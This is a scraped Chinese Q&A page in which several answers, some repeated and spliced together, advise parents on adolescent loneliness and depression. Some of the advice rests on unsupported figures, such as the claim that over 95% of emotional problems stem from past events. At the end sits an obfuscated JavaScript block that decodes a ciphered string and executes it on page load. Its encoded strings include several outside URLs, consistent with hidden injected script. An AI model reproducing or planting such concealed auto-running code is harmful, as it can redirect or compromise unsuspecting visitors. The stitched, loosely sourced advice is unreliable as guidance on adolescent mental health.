青春期的孩子抑郁且内心孤独,有哪些需要注意的问题?
推荐回答(5个)
1.孤独是一种抑郁倾向
有的青春期的孩子如果长期感到孤独,一直不被人接纳和理解的话,他们的情绪一直保持着低落的状态,这种孤独就会逐渐变成一种抑郁的倾向,这种状态是特别严重的需要值得注意。

2.对孩子的封闭式教育
现在青春期的孩子大部分都是独生子女,他们在家里面没有兄弟姐妹,没有同龄同辈分的伙伴,而且家长大部分都在外面工作,没有人在家里陪他们,没有人陪伴他们成长,他们就会长期生活在自闭式的环境中,既没有机会向外面表达自己的想法,也没有机会去接受外界的挑战,自然而然就会变得孤独、自闭、抑郁。
现在的教育模式就是一种单一的学习模式,会让一个人无法去深度思考,那么就无法产生深刻的探讨和交流,没有交流的团体,那么他也会变得更加自闭,逐渐沉迷一些网络游戏等。

3.怎么帮助青春期的孩子
如果你的孩子不爱交流、内心孤独,那么问题可能出现在你自己的身上,在青春期的学生身上,学校和家庭夺走了他们的一些机会,而且这个时期的孩子不被要求承担责任,那么他们就会变得冷漠、自私、缺乏责任感。那么,如何帮助孩子减少这些孤独感呢?

首先,父母需要对孩子放下期许
如果你的孩子想要做什么,不要对他们有着过高的期待,不妨去听一听他们的想法,学会去接受孩子的思想,如果去做一个人普通人又有什么不好呢?
其次,需要给予他们无条件的爱
如果父母对孩子的关爱是有一定的条件,那么孩子会充满极大的挫败感,为什么要用成绩去衡量对孩子的爱呢?给与孩子关爱,帮助他们走出青春期的抑郁和孤独,不要让孩子在青春期就步入难以挽回的局面。
青春期的孩子叛逆,这是总所周知的。但是如何能和青春期的孩子沟通好,这是解决孩子抑郁和内心孤独的最佳办法。这个时候,一定要多关心自己的孩子,因为他们也压力很大,多带他出去旅游,多让她和同学们在一起,慢慢的观察看看他崇拜什么样的人,让他树立一个目标。觉得认可请采纳!谢谢!
地处理自己的事情,想要独立,不愿意受到管制。青春期是孩子思想的过渡和情绪的宣泄,父母需要以孩子更多的关爱。如果父母还是把他们当小孩子来管教,会造成孩子与父母之间的矛盾,甚至孩子会与父母对着干。侯妈专注亲子教育,和父母们谈一下如何与青春期的孩子相处。
1. 父母要把孩子当作大人来看,改变与孩子相处时的方式以应对青春期的孩子,注意与孩子交流时的语气,换位思考,多替孩子想想。
2.多鼓励和表扬孩子,不打骂孩子,不打击孩子的自尊心,多对孩子进行正面的评价。
3.父母要多关心孩子,对于孩子的想法,父母要帮助孩子,让孩子对父母产生信任,孩子自然能接受父母的意见。
4.父母多给孩子自由和空间,不对孩子进行比较,在孩子面前不哆嗦,对于孩子的错误,不要老调重谈,让孩子厌恶。
5.青春期的孩子思想还没有真正地成熟,价值观正在形成,父母要做好引导,让孩子不与有问题的孩子交往,避免孩子被带坏。
青春期是个体从童年向成年发展的过渡时期,由于性成熟是这个阶段发展的主要特
点,通常又被称为青春期。青春期的年龄段是11、12岁 ~ 15、16岁。青春期,也有人称之为“断乳期”、“危险期”、“反抗期”、“躁动期”、“人生峡谷期”等,是一个人生矛盾期。
少年期的自我中心性是以人际关注和社会关注为焦点,把自己作为人际和社会关注的中心,认为自己的关注就是他人的关注。概念表征:
由于闭锁性的特点,中学生心里的话常常不愿对长辈说。中学生的年龄越大,这个特点就越为明显。
有效的沟通首先是心的链接,让心灵产生火花,让沟通对象感到温暖、安全,从而建立信任关系;其次才是信息的交换。
同理,有效的亲子沟通建立在信任的基础之上。只有孩子对父母信任了,愿意打开心扉了,沟通才会产生作用。
我感到你喜欢我、欣赏我,我因此也喜欢你,想在你面前表现得更好。反之,你既然不欣赏我,不喜欢我,我就离你远一点。你说什么对我都没有用!
关于情绪:情绪背后都有原因。95%以上的情绪问题不是当前事件引起的,而是由过去的事件引起的。当前事件只是导火线。
你这样对我说话,我很难受。是不是发生了什么让你不开心的事?你看上去很生气/抑郁/伤心/害怕的样子,让我很担心,你是不是受到了什么委屈,能给我说一说吗?
你看上去很开心的样子,我也为你感到高兴,能分享一下发生了什么有意思的事吗?
展开全部少让孩子独处,多走出去,结识朋友 旅游看风景 ,参加人多的活动,一定要营造氛围,多给关注,无论是家里还是外面,尽自己最大的能力,给孩子创造条件去融入。已赞过已踩过你对这个回答的评价是?评论收起热心网友
2019-10-08展开全部尽量不要刺激孩子,不要伤孩子自尊多和孩子交流勾通引导孩子向正确方向发展。已赞过已踩过你对这个回答的评价是?评论收起
有的青春期的孩子如果长期感到孤独,一直不被人接纳和理解的话,他们的情绪一直保持着低落的状态,这种孤独就会逐渐变成一种抑郁的倾向,这种状态是特别严重的需要值得注意。
现在青春期的孩子大部分都是独生子女,他们在家里面没有兄弟姐妹,没有同龄同辈分的伙伴,而且家长大部分都在外面工作,没有人在家里陪他们,没有人陪伴他们成长,他们就会长期生活在自闭式的环境中,既没有机会向外面表达自己的想法,也没有机会去接受外界的挑战,自然而然就会变得孤独、自闭、抑郁。
现在的教育模式就是一种单一的学习模式,会让一个人无法去深度思考,那么就无法产生深刻的探讨和交流,没有交流的团体,那么他也会变得更加自闭,逐渐沉迷一些网络游戏等。
如果你的孩子不爱交流、内心孤独,那么问题可能出现在你自己的身上,在青春期的学生身上,学校和家庭夺走了他们的一些机会,而且这个时期的孩子不被要求承担责任,那么他们就会变得冷漠、自私、缺乏责任感。那么,如何帮助孩子减少这些孤独感呢?
如果你的孩子想要做什么,不要对他们有着过高的期待,不妨去听一听他们的想法,学会去接受孩子的思想,如果去做一个人普通人又有什么不好呢?
如果父母对孩子的关爱是有一定的条件,那么孩子会充满极大的挫败感,为什么要用成绩去衡量对孩子的爱呢?给与孩子关爱,帮助他们走出青春期的抑郁和孤独,不要让孩子在青春期就步入难以挽回的局面。
希望能够帮到你!记得点赞!

首先要认识到青春期孩子的心理发展特点:
青春期是个体从童年向成年发展的过渡时期,由于性成熟是这个阶段发展的主要特
点,通常又被称为青春期。青春期的年龄段是11、12岁 ~ 15、16岁。青春期,也有人称之为“断乳期”、“危险期”、“反抗期”、“躁动期”、“人生峡谷期”等,是一个人生矛盾期。
一、少年期自我意识的发展
1、少年期是自我意识发展的第二个飞跃期
2、自我意识发展的特点:
①强烈关注自己的外貌和风度
②深切重视自己的能力和学习成绩
③强烈关心自己的个性成长
④有很强的自尊心
二、情绪的变化
1、青少年的情绪和心境的发展呈现出动态的发展
趋势。
2、情绪变化的特点:烦恼增多;孤独感、压抑感
增强。
三、少年期自我中心性特点
少年期的自我中心性是以人际关注和社会关注为焦点,把自己作为人际和社会关注的中心,认为自己的关注就是他人的关注。概念表征:
1、独特自我
2、假想观众
四、第二逆反期
1、少年逆反期的表现
①为独立自主意识受阻而抗争
②为社会地位平等的欲求不满而抗争
③观念上的碰撞
2、反抗的对象主要是父母,但也具有迁移性。
3、反抗的形式
①外显行为上的激烈抵抗
②将反抗隐于内心,以冷漠相对
五、青春期心理发展的矛盾性特点:
1、生理变化对心理活动的冲击
2、心理上成人感与幼稚性的矛盾
(1)反抗性与依赖性
(2)闭锁性与开放性
(3)勇敢和怯懦
(4)高傲和自卑
(5)否定童年又眷恋童年
由于闭锁性的特点,中学生心里的话常常不愿对长辈说。中学生的年龄越大,这个特点就越为明显。
六、中学生面临的心理问题:
焦虑、抑郁、偏执、恐惧、人际敏感、强迫、敌对、精神病性
其次要认识到什么是有效的沟通
有效的沟通首先是心的链接,让心灵产生火花,让沟通对象感到温暖、安全,从而建立信任关系;其次才是信息的交换。
同理,有效的亲子沟通建立在信任的基础之上。只有孩子对父母信任了,愿意打开心扉了,沟通才会产生作用。
再有就是要根据青春期孩子的心理发展特点来进行有效的沟通:
孩子是怎么回应大人的:
我感到你喜欢我、欣赏我,我因此也喜欢你,想在你面前表现得更好。反之,你既然不欣赏我,不喜欢我,我就离你远一点。你说什么对我都没有用!
父母跟孩子有效沟通的前提:
尊重孩子作为一个独立的个体
理解孩子的想法
接纳孩子的情绪
欣赏孩子的个体差异
关于情绪:情绪背后都有原因。95%以上的情绪问题不是当前事件引起的,而是由过去的事件引起的。当前事件只是导火线。
沟通要点:不跟情绪针锋相对,而是表达感受,并了解背后的原因。
错误的沟通:
你怎么能这样对我说话?一点小事就发这么大的火!
你怎么对我不理不睬的,把我当透明人一样!
错误沟通的背后都饱含着责备!
正确的沟通:
你是不是很生我的气,很抱歉我也不知道原因,能不能跟我说一说?
你这样对我说话,我很难受。是不是发生了什么让你不开心的事?你看上去很生气/抑郁/伤心/害怕的样子,让我很担心,你是不是受到了什么委屈,能给我说一说吗?
你看上去很开心的样子,我也为你感到高兴,能分享一下发生了什么有意思的事吗?
正确沟通的步骤及要点总结:
1)看到对方的情绪;
2)帮他/她把情绪表达出来;
3)表达自己的感受;
4)询问原因。
1. 父母要把孩子当作大人来看,改变与孩子相处时的方式以应对青春期的孩子,注意与孩子交流时的语气,换位思考,多替孩子想想。
2.多鼓励和表扬孩子,不打骂孩子,不打击孩子的自尊心,多对孩子进行正面的评价。
3.父母要多关心孩子,对于孩子的想法,父母要帮助孩子,让孩子对父母产生信任,孩子自然能接受父母的意见。
4.父母多给孩子自由和空间,不对孩子进行比较,在孩子面前不哆嗦,对于孩子的错误,不要老调重谈,让孩子厌恶。
5.青春期的孩子思想还没有真正地成熟,价值观正在形成,父母要做好引导,让孩子不与有问题的孩子交往,避免孩子被带坏。
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();